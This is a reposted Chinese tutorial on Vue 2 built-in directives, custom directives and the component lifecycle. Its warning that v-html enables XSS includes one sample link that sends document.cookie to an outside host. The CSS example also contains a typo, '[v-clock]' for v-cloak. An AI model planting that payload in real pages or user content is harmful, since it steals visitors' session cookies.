Vue(三)内置指令v-text、html、cloak、once、pre;自定义指令的三种方式、Vue生命周期

news2024/11/15 15:54:56

文章目录

  • 1. 内置指令
    • 1.1 v-text、v-html指令
    • 1.2 v-cloak指令
    • 1.3 v-once指令
    • 1.4 v-pre指令
  • 2. 自定义指令(directives)
    • 2.1 函数式
    • 2.2 对象式
    • 2.3 注意点
  • 3. 生命周期
    • 3.1 挂载流程
    • 3.2 更新流程
    • 3.3 销毁流程

1. 内置指令

1.1 v-text、v-html指令

v-text与v-html都是向所在的节点渲染文本内容,替换掉节点内的内容。

  • v-text:不能解析标签
  • v-html:能解析标签
<div id="root">
    <!-- v-text会替换掉节点中的内容 -->
    <div v-text="msg2">{{msg}}</div>
    <!-- 解析标签 -->
    <div v-html="msg3"></div>
</div>
<script>
      const vm = new Vue({
      el: "#root",
      data: {
        msg: '汉堡很好吃',
        msg2: '炸鸡很好吃',
        msg3: '<strong>炸鸡很好吃</strong>'
      }
    }) 
</script>

在这里插入图片描述
注:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,不要用在用户提交的内容上!
比如:
v-html渲染了这样一个a链接:

<div v-html="msg4"></div>
msg4: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击链接</a>'

当点击链接时,会把自身的cookie传出去,被别人拿到cookie很危险。(只是举个例子,document.cookie并不会将网站上的所有cookie都拿到)

1.2 v-cloak指令

v-cloak指令没有值,当Vue解析页面时,会将v-cloak删掉。
在这里插入图片描述
应用场景:解决网速慢时,Vue未接管容器,页面上渲染成:{{name}}。

<style>
    [v-clock] {
        display: none;
    }
</style>

<body>
    <!-- 准备一个容器 -->
    <div id="root">
        <div v-cloak>{{name}}</div>
    </div>
</body>

<script>
    const vm = new Vue({
        ...
        data: {
            name: 'tom'
        }
    })
</script>

当Vue未接管容器时,div有v-clock属性,style样式通过属性选择器对div进行隐藏,当Vue接管容器后,Vue会将v-clock属性删除,则样式不起作用,该内容呈现在页面上。

总结:
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

1.3 v-once指令

v-once所在结构的数值不会更新。

    <div id="root">
        <!-- 初始n设为1 -->
        <h1>初始化的n值是{{n}}</h1>
        <h1>当前的n值是{{n}}</h1>
        <button @click="n++">n+1</button>
    </div>

点击按钮,插值处的n都会变:
在这里插入图片描述
添加v-once指令后:

<h1 v-once>初始化的n值是{{n}}</h1>

在这里插入图片描述
总结:
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

1.4 v-pre指令

  • 跳过其所在节点的编译过程。
  • 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<div id="root">
    <h1 v-pre>没有任何语法</h1>
    <!-- 不进行编译,直接原模原样展现在页面上 -->
    <h1 v-pre>有插值{{n}}</h1>
</div>

在这里插入图片描述

2. 自定义指令(directives)

2.1 函数式

需求:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍

<!--模板内容-->
<div id="root">
    <h2>{{msg}}</h2>
    <h2>n的值为:<span v-text="n"></span></h2>
    <h2>放大10倍后的值为<span v-big="n+1+2"></span></h2>
    <button @click="n++">n+1</button>
</div>

在这里插入图片描述

语法:指令名(element,binding){...}

  • 参数element:真实DOM元素
  • 参数binding:一些绑定信息
//添加一个和data平级的新的配置项directives
directives: {
    big (element, binding) {
        console.dir(element);
        console.log(binding);
        element.innerText = binding.value*10
    }
}

在这里插入图片描述

big函数何时被调用:

  • 1.指令与元素成功绑定(一上来的时候)
  • 2.指令所在的模板重新被解析的时候,(msg数据改变,模板重新解析,也会调用这个函数)

2.2 对象式

<body>
	<button id="btn">点击生成一个输入框</button>
</body>
<script type="text/javascript">
	const btn = document.querySelector('#btn')
	btn.addEventListener('click', () => {
		console.log('点击生成输入框');
		const input = document.createElement('input') // 建立节点

		input.value = 6 //设置内容值
		input.style.backgroundColor = 'skyblue' // 设置背景色
		input.className = 'demo' // 设置类名
		input.onclick = () => alert(1) // 添加监听事件
		console.log(input.parentNode);// null
        
		document.body.appendChild(input) // 放入页面
		input.focus() // 获取焦点
	})
</script>

有一些对元素的操作,要在元素插入页面之后执行才有效。比如对input的父节点进行操作,若在插入页面之前对其父节点进行操作,则无效。

需求:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点

分析:由于获取焦点focus这个函数需要在元素放入页面后执行,所以函数式自定义指令不可行。

对象式指令语法指令名:{...}
配置对象中有常用的3个回调函数:bind inserted update

<input type="text" v-fbind:value="n">
<script>
	directives: {
	    fbind: {
	    // 指令与元素建立连接时(绑定时)
	    bind (element, binding) {
	        console.log(binding.value);
	        element.value = binding.value
	    },
	    // 指令所在元素被插入页面时
	     inserted (element, binding) {
	        element.focus()
	    },
	    // 指令所在的模板被重新解析时
	    update (element, binding) {
	         element.value = binding.value
	         element.focus()
	    }
	}
</script>

在这里插入图片描述

Vue首先将input元素与v-find指令绑定在一起,在内存中记录这个关联关系,后边再把input元素放入页面中。所以如果在inserted阶段没有任何操作的话,则可采用函数式自定义指令。

2.3 注意点

(1) 指令命名问题
如果是多个单词,需要使用-连接

<h2>放大10倍后值为:<span v-big-number="n"></span></h2>
<script>
    'big-number' (element, binding) {
        // binding绑定,将元素与指定绑定在一起,确定该指令在哪个元素上起作用
        element.innerText = binding.value
    }
</script>

(2) this指向
无论是函数式自定义指令还是对象式自定义指令,this的指向都是Window

 big (element, binding) {
        console.log(this) // Window
    },
 fbind: {
     bind (element, binding) {
         console.log(this); // Window
     },
     inserted (element, binding) {
         console.log(this); // Window
     },
     update (element, binding) {
         console.log(this); // Window
     }
 }

(3)全局指令
语法:Vue.directive(指令名,配置对象)Vue.directive(指令名,回调函数)

// 全局指令
 Vue.directive('big', (element, binding) => {
 	...
 })
 Vue.directive('fbind', {
	...
	inserted (element, binding) {
	 element.focus()
	},
})
const vm = new Vue({
    ...
    directives: {
// 这里的局部自定义指令只能在当前vm中使用
        'big-number' (element, binding) {
            ...
        },
        fbind: {
                ...
        }
   }
})

3. 生命周期

在这里插入图片描述

3.1 挂载流程

针对beforeMount,证明一下两点:
证明1:页面呈现的是未经Vue编译的DOM结构
在这里插入图片描述
证明2:所有对DOM的操作,最终都不奏效
在这里插入图片描述
无论这里如何修改,接下来都会将刚才已经生成的虚拟DOM转成真实DOM插入页面中。在进入下一个流程mounted之后,对DOM的操作是有效的

3.2 更新流程

beforeUpdate () {
    console.log('beforeUpdate,数据是新的,页面是旧的');
    console.log('n的新值为:', this.n);
    debugger
}

在这里插入图片描述

3.3 销毁流程

<button @click="bye">点击销毁vm</button>
<script>
// 按钮事件监听方法
bye () {
    console.log('byebye');
    // 执行销毁,完全销毁一个实例,解绑vm的全部指令及事件监听(指的是自定义的事件监听方法)
    this.$destroy()
}

...
beforeDestroy () {
    console.log('销毁之前');
    // 能调用方法,修改数据。但是不会再触发更新了
    this.add()
}
</script>

在这里插入图片描述
n值确实加1了,但是n的值没有更新

总结:

  • 销毁后借助Vue开发者工具看不到任何信息
  • 销毁后自定义事件会失效,但原生DOM事件依然有效
  • 一般不会在beforeDestroy里操作数据,因为即便操作数据,也不会再触发更新流程了。
    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2086302.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

0. Spring 的 控制反转和依赖注入

提起Spring&#xff0c;很多人第一反应就是IOC和AOP。那IOC到底是什么东东&#xff1f; IOC&#xff08;Inversion of Control) 翻译过来叫控制反转。DI&#xff08;Dependency Injection&#xff09;翻译过来叫依赖注入。这时候就应该掏出我们的人生三问了。 控制反转用人话说…

【数据结构】线性表的链式表示(单链表)

计算机考研408-数据结构笔记本之——第二章 线性表 2.3 线性表的链式表示&#xff08;单链表的定义、基本操作&#xff1a;初始化/插入/删除/查找与建立&#xff09;

苹果 iOS / iPadOS 18 beta8和iOS / iPadOS 18.1 beta3版本更新

苹果今日向iPhone和iPad用户推送了 iOS / iPadOS 18 开发者预览版 Beta 8 更新&#xff08;内部版本号&#xff1a;22A5350a&#xff09;和iOS / iPadOS 18.1 开发者预览版 Beta 3 更新&#xff08;内部版本号&#xff1a;22B5034e&#xff09;&#xff0c;本次更新距离上次发布…

Linux系统使用Docker compose搭建开源文档系统Paperless-ngx

文章目录 前言1. 部署Paperless-ngx2. 本地访问Paperless-ngx3. Linux安装Cpolar4. 配置公网地址5. 远程访问6. 固定Cpolar公网地址7. 固定地址访问 前言 本文主要介绍如何在Linux系统本地部署Paperless-ngx开源文档管理系统&#xff0c;并结合cpolar内网穿透工具解决本地部署…

Oracle SYSAUX表空间使用率过高进行清理

巡检的时候发现SYSAUX表空间使用率超过了80%&#xff0c;将近达到了60G: TABLESPACE_NAME Allocated (MB) Free (MB) Used (MB) PERCENTFREE -------------------- -------------- ---------- ---------- ----------- SYSAUX 60440 7907 …

Java框架第三课(Spring)超级全

目录 一.关于Spring (1)什么是Spring (2)IOC解释 (3)Aop解释 (4)"一站式"解释 二.Spring框架的搭建(以Hello World为例) ​编辑 三.Spring框架的IOC (1)IOC基于xml配置 (2)基于注解配置 (3)xml文件配置和注解配置的优缺点 四.Spring集成Mybatis (1)Spring集…

【亲测有效】icmp,tcpping工具源码

icmp&#xff0c;tcpping工具源码 import socket import subprocess import platform import time import sysdef icmp_ping(host, count4):param -n if platform.system().lower() windows else -ctry:# 执行 ping 命令result subprocess.run([ping, param, str(count), h…

给自己复盘的随想录笔记-哈希表

哈希表理论基础 哈希表 那么哈希表能解决什么问题呢&#xff0c;一般哈希表都是用来快速判断一个元素是否出现集合里。 将学生姓名映射到哈希表上就涉及到了hash function &#xff0c;也就是哈希函数。 哈希函数 如果hashCode得到的数值大于 哈希表的大小了&#xff0c;也就…

【Qt】QLCDNumber | QProgressBar | QCalendarWidget

文章目录 QLCDNumber —— 显示数字QLCDNumber 的属性QLCDNumber 的使用 QProgressBar —— 进度条QProgressBar 的属性创建一个进度条修改为 红色的进度条 QCalendarWidget —— 日历QCalendarWidget 的属性QCalendarWidget 的使用 QLCDNumber —— 显示数字 QLCDNumber 的属…

Nuxt3入门:介绍、项目安装和了解视图(第一节)

你好同学&#xff0c;我是沐爸&#xff0c;欢迎点赞、收藏、评论和关注。 有对 Nuxt3.0 感兴趣的小伙伴吗&#xff1f;一起来了解下 一、介绍 Nuxt is an open source framework that makes web development intuitive and powerful. Create performant and production-grad…

通过 pnpm 安装依赖包会发生什么

通过 pnpm 安装依赖包会发生什么 通过 pnpm 下载的包都是放在一个全局目录&#xff08;.pnpm-store&#xff09;下&#xff0c;默认是在 ${os.homedir}/v3/.pnpm-store&#xff0c;如果我们不确定在哪里&#xff0c;可以输入下面的命令手动配置&#xff1a; pnpm set store-d…

数据库文件(嵌入式)

一、数据库文件与普通文件区别 1、普通文件对数据管理&#xff08;增删改查&#xff09;效率低 2、数据库对数据管理效率高&#xff0c;使用方便 二、常用数据库 1、关系型数据库&#xff1a; 将复杂的数据结构简化为二维表格形式 大型&#xff1a;Oracle、DB2 中型&#x…

Java 入门指南:Java NIO —— Channel(通道)

NIO 的引入 在传统的 Java I/O 模型&#xff08;BIO&#xff09;中&#xff0c;I/O 操作是以阻塞的方式进行的。当一个线程执行一个 I/O 操作时&#xff0c;它会被阻塞直到操作完成。这种阻塞模型在处理多个并发连接时可能会导致性能瓶颈&#xff0c;因为需要为每个连接创建一…

哈工大-操作系统L29

从生磁盘到文件 通过文件使用磁盘更加直观方便 一.映射的左右与实现 1.映射作用 如何从文件得到盘块号,用户看到的字符流,而操作系统看见的是盘块,所以建立字符流到盘块的映射 读写&#xff1a;电梯队列到内存缓冲区中&#xff0c;修改然后再放到电梯队列写出去 操作系统负…

web渗透:信息收集常用的工具

目录 如何根据特定网站的特性选择合适的信息收集工具&#xff1f; 网络安全专业人士通常会使用哪些信息收集工具进行漏洞挖掘&#xff1f; 数据分析师在进行市场研究时通常使用哪些信息收集工具&#xff1f; 数据收集工具 数据处理工具 数据分析工具 数据呈现工具 思维导…

艺术家林曦:“高枕无忧”的生活,需要遇见更好的自己

多年前&#xff0c;林曦老师在与朋友的交谈中&#xff0c;曾提到“想过高枕无忧的生活”。那种身心安逸、无所忧虑&#xff0c;坦然面对自己的状态&#xff0c;想来着实愉快。      或许&#xff0c;当焦虑变为当今社会难以避免的课题&#xff0c;“高枕无忧”才更成了我们…

数据结构:栈、队列详解篇

数据结构&#xff1a;栈、队列详解篇 一、栈&#xff08;一&#xff09;栈的概念&#xff08;二&#xff09;栈的实现1、结构定义2、功能实现&#xff08;1&#xff09;栈的初始化&#xff08;2&#xff09;栈的销毁&#xff08;3&#xff09;栈的扩容&#xff08;4&#xff09…

【大模型从入门到精通46】LLM部署运维(LLM Ops)使用Kubeflow Pipelines掌握LLM工作流3

这里写目录标题 功能概览函数定义实践示例&#xff1a;测试适当的拒绝最佳实践与建议适用于科学测验测试的修订函数科学测验测试函数定义执行与评估最佳实践与注意事项 功能概览 evaluate_request_refusal 函数模拟了系统应该基于预定义的标准拒绝生成测验的情景&#xff0c;这…

推荐9款AI论文写作推荐的论文指导!快速生成高质量初稿

在当前的学术写作领域&#xff0c;AI论文写作工具已经成为许多研究人员和学生的重要助手。这些工具不仅能够帮助用户快速生成高质量的论文初稿&#xff0c;还能在一定程度上简化学术写作流程&#xff0c;提高写作效率。以下是九款被广泛推荐的AI论文写作工具&#xff0c;它们各…

Docker续1:docker使用

一、打包传输 1.打包 [rootlocalhost ~]# systemctl start docker [rootlocalhost ~]# docker save -o centos.tar centos:latest [rootlocalhost ~]# ls anaconda-ks.cfg centos.tar 2.传输 [rootlocalhost ~]# scp centos.tar root192.168.1.100:/root 3.删除镜像 [r…